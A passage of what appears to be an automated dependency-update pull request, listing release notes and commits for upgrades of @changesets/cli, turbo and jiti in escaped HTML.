href=\"https://github.com/7\"\u003e\u003ccode\u003e@​7\u003c/code\u003e\u003c/a\u003e.1.1\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-release-plan\u003c/code\u003e\u003ca href=\"https://github.com/4\"\u003e\u003ccode\u003e@​4\u003c/code\u003e\u003c/a\u003e.0.16\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/config\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/cli\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.30.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1840\"\u003e#1840\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/057cca222321816b6c8c6f6c52130185b364de36\"\u003e\u003ccode\u003e057cca2\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/wotan-allfather\"\u003e\u003ccode\u003e@​wotan-allfather\u003c/code\u003e\u003c/a\u003e! - Add \u003ccode\u003e--since\u003c/code\u003e flag to \u003ccode\u003eadd\u003c/code\u003e command\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eadd\u003c/code\u003e command now supports a \u003ccode\u003e--since\u003c/code\u003e flag that allows you to specify which branch, tag, or git ref to use when detecting changed packages. This is useful for gitflow workflows where you have multiple target branches and the \u003ccode\u003ebaseBranch\u003c/code\u003e config option doesn't cover all use cases.\u003c/p\u003e\n\u003cp\u003eExample: \u003ccode\u003echangeset add --since=develop\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIf not provided, the command falls back to the \u003ccode\u003ebaseBranch\u003c/code\u003e value in your \u003ccode\u003e.changeset/config.json\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1845\"\u003e#1845\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/2b4a66a36497fd5504186dcc6ae9e287c8403de6\"\u003e\u003ccode\u003e2b4a66a\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Delegate OTP prompting to the package manager instead of handling it in-process. This allows Changesets to use the package manager's native web auth support.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1774\"\u003e#1774\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/667fe5aacf04dbefcf2532584ff2753b8417855a\"\u003e\u003ccode\u003e667fe5a\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/bluwy\"\u003e\u003ccode\u003e@​bluwy\u003c/code\u003e\u003c/a\u003e! - Support importing custom \u003ccode\u003ecommit\u003c/code\u003e option ES module. Previously, it used \u003ccode\u003erequire()\u003c/code\u003e which only worked for CJS modules, however now it uses \u003ccode\u003eimport()\u003c/code\u003e which supports both CJS and ES modules.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1839\"\u003e#1839\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/73b18099517b00a3c7b70c417b7f7f1bfaa24931\"\u003e\u003ccode\u003e73b1809\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/leochiu-a\"\u003e\u003ccode\u003e@​leochiu-a\u003c/code\u003e\u003c/a\u003e! - Add a \u003ccode\u003e--message\u003c/code\u003e (\u003ccode\u003e-m\u003c/code\u003e) flag to \u003ccode\u003echangeset add\u003c/code\u003e (and default \u003ccode\u003echangeset\u003c/code\u003e) so the changeset summary can be provided from the command line. When \u003ccode\u003e--message\u003c/code\u003e is present, the summary prompt is skipped while the final confirmation step is kept.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1806\"\u003e#1806\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/0e8e01e93358bdc8c318c608dd3b0e4af8219049\"\u003e\u003ccode\u003e0e8e01e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/luisadame\"\u003e\u003ccode\u003e@​luisadame\u003c/code\u003e\u003c/a\u003e! - Changeset CLI can now be run from the nested directories in the project, where the \u003ccode\u003e.changeset\u003c/code\u003e directory has to be found in one of the parent directories\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1849\"\u003e#1849\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/9dc32308e4d208964b648a788ba4eee1003c273c\"\u003e\u003ccode\u003e9dc3230\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Compute the terminal's size lazily to avoid spurious stderr output in non-interactive mode\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1857\"\u003e#1857\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/2a7302577d2923dc7db5025003d8aa58fb627ff9\"\u003e\u003ccode\u003e2a73025\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Fix confusing prompt labels when entering changeset summary after external editor fallback\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1842\"\u003e#1842\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/6df3a5e95522a0210cb2b5619588a75f32b502c6\"\u003e\u003ccode\u003e6df3a5e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/RodrigoHamuy\"\u003e\u003ccode\u003e@​RodrigoHamuy\u003c/code\u003e\u003c/a\u003e! - Allow private packages to depend on skipped packages without requiring them to also be skipped. Private packages are not published to npm, so it is safe for them to have dependencies on ignored or unversioned packages.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/changesets/changesets/commits/@changesets/cli@2.31.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​changesets/cli\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `turbo` from 2.7.4 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/82bcfb61f140b8f14181704474eef40e8a47b789\"\u003e\u003ccode\u003e82bcfb6\u003c/code\u003e\u003c/a\u003e refactor: Add \u003ccode\u003eToolchain\u003c/code\u003e output availability (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13360\"\u003e#13360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6ed2fb4114de8bc0a7cd8053ee69cc20bb502f56\"\u003e\u003ccode\u003e6ed2fb4\u003c/code\u003e\u003c/a\u003e fix: Preserve Yarn package extension ranges when pruning (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13363\"\u003e#13363\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/38aa7d2dd0c931faaa4f732d19f53c883faa0ecd\"\u003e\u003ccode\u003e38aa7d2\u003c/code\u003e\u003c/a\u003e chore: Update agents app Eve dependency (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13364\"\u003e#13364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ed1724965d854cd9c2f8b71a0fa826ec786be161\"\u003e\u003ccode\u003eed17249\u003c/code\u003e\u003c/a\u003e fix: Synchronize Cargo prune Docker lockfile (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13350\"\u003e#13350\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/d53326620df104df16808425674ece8be0eb3529\"\u003e\u003ccode\u003ed533266\u003c/code\u003e\u003c/a\u003e fix: Hash Cargo build environment inputs (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13348\"\u003e#13348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ef122d98ae4a6ab90ad65af86f6ff1dd57de8b4f\"\u003e\u003ccode\u003eef122d9\u003c/code\u003e\u003c/a\u003e ci: Shard Rust tests across runners (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13356\"\u003e#13356\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/b3cd7a1ecc1d87031616d754967b80bf3c6ed14e\"\u003e\u003ccode\u003eb3cd7a1\u003c/code\u003e\u003c/a\u003e fix: Include patched Ghostty crate in Cargo workspace (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13357\"\u003e#13357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e76f0b4b04e79d42edc5f6cd1167c605bd3862b1\"\u003e\u003ccode\u003ee76f0b4\u003c/code\u003e\u003c/a\u003e fix: Isolate Command Overrides From Toolchain Cache I/O (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13354\"\u003e#13354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.7.4...v2.10.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jiti` from 2.6.1 to 2.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/unjs/jiti/releases\"\u003ejiti's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.7.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare changes\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003e🚀 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd explicit resource management (\u003ccode\u003eusing\u003c/code\u003e/\u003ccode\u003eawait using\u003c/code\u003e) support (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/422\"\u003e#422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport opt-in \u003ccode\u003etsconfigPaths\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/427\"\u003e#427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport virtual modules (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003ejiti/static\u003c/code\u003e subpath (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🔥 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003einteropDefault:\u003c/strong\u003e Add caching to reduce proxy overhead by ~2x (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/421\"\u003e#421\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Passthrough resolve options (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/412\"\u003e#412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Fallback to transpilation when \u003ccode\u003etryNative\u003c/code\u003e fails (\u003ca 